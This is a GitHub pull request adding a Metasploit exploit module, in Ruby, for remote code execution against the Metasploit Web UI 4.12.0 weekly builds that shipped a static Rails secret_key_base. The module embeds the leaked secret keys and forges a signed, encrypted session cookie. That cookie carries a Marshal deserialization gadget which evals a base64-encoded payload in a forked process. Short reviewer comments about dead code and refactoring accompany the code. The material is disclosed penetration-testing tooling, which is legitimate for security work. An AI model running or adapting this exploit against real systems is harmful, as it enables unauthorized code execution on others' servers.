Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

add module metasploit_static_secret_key_base #7341

Merged
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
348 changes: 348 additions & 0 deletions modules/exploits/multi/http/metasploit_static_secret_key_base.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,348 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

#Helper Classes copy/paste from Rails4
class MessageVerifier

class InvalidSignature < StandardError; end

def initialize(secret, options = {})
@secret = secret
@digest = options[:digest] || 'SHA1'
@serializer = options[:serializer] || Marshal
end

def generate(value)
data = ::Base64.strict_encode64(@serializer.dump(value))
"#{data}--#{generate_digest(data)}"
end

def generate_digest(data)
require 'openssl' unless defined?(OpenSSL)
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
end

end

class MessageEncryptor

module NullSerializer #:nodoc:

def self.load(value)
value
end

def self.dump(value)
value
end

end

class InvalidMessage < StandardError; end

OpenSSLCipherError = OpenSSL::Cipher::CipherError

def initialize(secret, *signature_key_or_options)
options = signature_key_or_options.extract_options!
sign_secret = signature_key_or_options.first
@secret = secret
@sign_secret = sign_secret
@cipher = options[:cipher] || 'aes-256-cbc'
@verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer)
# @serializer = options[:serializer] || Marshal
end

def encrypt_and_sign(value)
@verifier.generate(_encrypt(value))
end

def _encrypt(value)
cipher = new_cipher
cipher.encrypt
cipher.key = @secret
# Rely on OpenSSL for the initialization vector
iv = cipher.random_iv
#encrypted_data = cipher.update(@serializer.dump(value))
encrypted_data = cipher.update(value)
encrypted_data << cipher.final
[encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")
end

def new_cipher
OpenSSL::Cipher::Cipher.new(@cipher)
end

end

class KeyGenerator

def initialize(secret, options = {})
@secret = secret
@iterations = options[:iterations] || 2**16
end

def generate_key(salt, key_size=64)
OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
end

end

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Metasploit Web UI Static secret_key_base Value',
'Description' => %q{
This module exploits the Web UI for Metasploit Community, Express and
Pro where one of a certain set of Weekly Releases have been applied.
These Weekly Releases introduced a static secret_key_base value.
Knowledge of the static secret_key_base value allows for
deserialization of a crafted Ruby Object, achieving code execution.

This module is based on
exploits/multi/http/rails_secret_deserialization
},
'Author' =>
[
'Justin Steven', # @justinsteven
'joernchen of Phenoelit <joernchen[at]phenoelit.de>' # author of rails_secret_deserialization
],
'License' => MSF_LICENSE,
'References' =>
[
['OVE', '20160904-0002'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401'],
['URL', 'https://github.com/justinsteven/advisories/blob/master/2016_metasploit_rce_static_key_deserialization.md']
],
'DisclosureDate' => 'Sep 15 2016',
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' =>
[
['Metasploit 4.12.0-2016061501 to 4.12.0-2016083001',
{
'RAILSVERSION' => 4, # The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)
Copy link
Contributor

@bcook-r7 bcook-r7 Sep 20, 2016

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

we probably don't need this configurability unless we're going to add more targets

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You're probably right. I tried to avoid changing the plumbing from rails_secret_deserialization to maintain parity (e.g. Leaving in the rails3 stuff as dead code) and wanted to avoid having magic values (e.g. The salt) inlined in the code. Should the dead code should be removed at the cost of parity? If the magic values don't belong in the target, should they be inlined in the code, or defined somewhere else?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think if you want parity, it follows that it should just extend the original module with this as a selectable target, rather than being introduced as a separate module. If this is going to be a separate module, ideally the common code moves to lib or a mixin.

Barring that, for a one-off, I'd optimize out the dead code. It's unlikely someone's going to update a working version-specific exploit just because a more generic exploit added a feature.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think if you want parity, it follows that it should just extend the original module with this as a selectable target, rather than being introduced as a separate module

I thought of that, but decided it'd inhibit discoverability

If this is going to be a separate module, ideally the common code moves to lib or a mixin.

Probably the way to go, especially if we keep cranking static secret_key_base modules out. OTOH these should die out with the Rails session cookie deserializer now defaulting to JSON.

I'd optimize out the dead code

Sounds good to me, I'll get on it

'HTTP_METHOD' => 'GET', # The HTTP request method (GET, POST, PUT typically work)
'COOKIE_NAME' => '_ui_session', # The name of the session cookie
'DIGEST_NAME' => 'SHA1', # The digest type used to HMAC the session cookie
'SALTENC' => 'encrypted cookie', # The encrypted cookie salt
'SALTSIG' => 'signed encrypted cookie', # The signed encrypted cookie salt
'SECRETS' => [
'd25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7', # 4.12.0_2016061501
'99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc', # 4.12.0_2016062101
'446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde', # 4.12.0_2016072501
'61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a', # 4.12.0_2016081001
'23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32', # 4.12.0_2016081201
'18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615', # 4.12.0_2016083001
'b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c' # unreleased build
]
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'SSL' => true
}
))

register_options(
[
Opt::RPORT(3790),
OptString.new('TARGETURI', [ true, 'The path to the Metasploit Web UI', "/"]),
], self.class)
end


#
# This stub ensures that the payload runs outside of the Rails process
# Otherwise, the session can be killed on timeout
#
def detached_payload_stub(code)
%Q^
code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
if RUBY_PLATFORM =~ /mswin|mingw|win32/
inp = IO.popen("ruby", "wb") rescue nil
if inp
inp.write(code)
inp.close
end
else
Kernel.fork do
eval(code)
end
end
{}
^.strip.split(/\n/).map{|line| line.strip}.join("\n")
end

def check_secret(data, digest, secret)
data = Rex::Text.uri_decode(data)
if target['RAILSVERSION'] == 3
sigkey = secret
elsif target['RAILSVERSION'] == 4
keygen = KeyGenerator.new(secret,{:iterations => 1000})
sigkey = keygen.generate_key(target['SALTSIG'])
end
digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new(target['DIGEST_NAME']), sigkey, data)
end

def get_secret(data, digest)
for secret in target['SECRETS']
return secret if check_secret(data, digest, secret)
end
nil
end

def rails_4(secret)
keygen = KeyGenerator.new(secret,{:iterations => 1000})
enckey = keygen.generate_key(target['SALTENC'])
sigkey = keygen.generate_key(target['SALTSIG'])
crypter = MessageEncryptor.new(enckey, sigkey)
crypter.encrypt_and_sign(build_cookie)
end

def rails_3(secret)
# Sign it with the secret_token
data = build_cookie
digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new("SHA1"), secret, data)
marshal_payload = Rex::Text.uri_encode(data)
"#{marshal_payload}--#{digest}"
end

def build_cookie

# Embed the payload with the detached stub
code =
"eval('" +
Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) +
"'.unpack('m0').first)"

if target['RAILSVERSION'] == 4
return "\x04\b" +
"o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" +
":\x0E@instanceo" +
":\bERB\x07" +
":\t@src"+ Marshal.dump(code)[2..-1] +
":\x0c@lineno"+ "i\x00" +
":\f@method:\vresult:" +
"\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00"
end
if target['RAILSVERSION'] == 3
return Rex::Text.encode_base64 "\x04\x08" +
"o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" +
":\x0E@instance" +
"o"+":\x08ERB"+"\x07" +
":\x09@src" +
Marshal.dump(code)[2..-1] +
":\x0c@lineno"+ "i\x00" +
":\x0C@method"+":\x0Bresult"
end
end

def check
cookie_name = target['COOKIE_NAME']

vprint_status("Checking for cookie #{target['COOKIE_NAME']}")
res = send_request_cgi({
'uri' => datastore['TARGETURI'] || "/",
'method' => target['HTTP_METHOD'],
}, 25)

unless res
return Exploit::CheckCode::Unknown # Target didn't respond
end

if res.get_cookies.empty?
return Exploit::CheckCode::Unknown # Target didn't send us any cookies. We can't continue.
end

match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)

unless match
return Exploit::CheckCode::Unknown # Target didn't send us a session cookie. We can't continue.
end

if match[1] == target['COOKIE_NAME']
vprint_status("Found cookie")
else
vprint_status("Adjusting cookie name to #{match[1]}")
cookie_name = match[1]
end

vprint_status("Searching for proper SECRET")

if get_secret(match[2], match[3])
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end

#
# Send the actual request
#
def exploit
cookie_name = target['COOKIE_NAME']

print_status("Checking for cookie #{target['COOKIE_NAME']}")

res = send_request_cgi({
'uri' => datastore['TARGETURI'] || "/",
'method' => target['HTTP_METHOD'],
}, 25)

unless res
fail_with(Failure::Unreachable, "Target didn't respond")
end

if res.get_cookies.empty?
fail_with(Failure::UnexpectedReply, "Target didn't send us any cookies. We can't continue.")
end

match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)

unless match
fail_with(Failure::UnexpectedReply, "Target didn't send us a session cookie. We can't continue.")
end

if match[1] == target['COOKIE_NAME']
vprint_status("Found cookie")
else
print_status("Adjusting cookie name to #{match[1]}")
cookie_name = match[1]
end

print_status("Searching for proper SECRET")

secret = get_secret(match[2], match[3])

unless secret
fail_with(Failure::NotVulnerable, "SECRET not found, target not vulnerable?")
end

if target['RAILSVERSION'] == 3
cookie = rails_3(secret)
elsif target['RAILSVERSION'] == 4
cookie = rails_4(secret)
end

print_status "Sending cookie #{cookie_name}"
res = send_request_cgi({
'uri' => datastore['TARGETURI'] || "/",
'method' => target['HTTP_METHOD'],
'headers' => {'Cookie' => cookie_name+"="+ cookie},
}, 25)

handler
end

end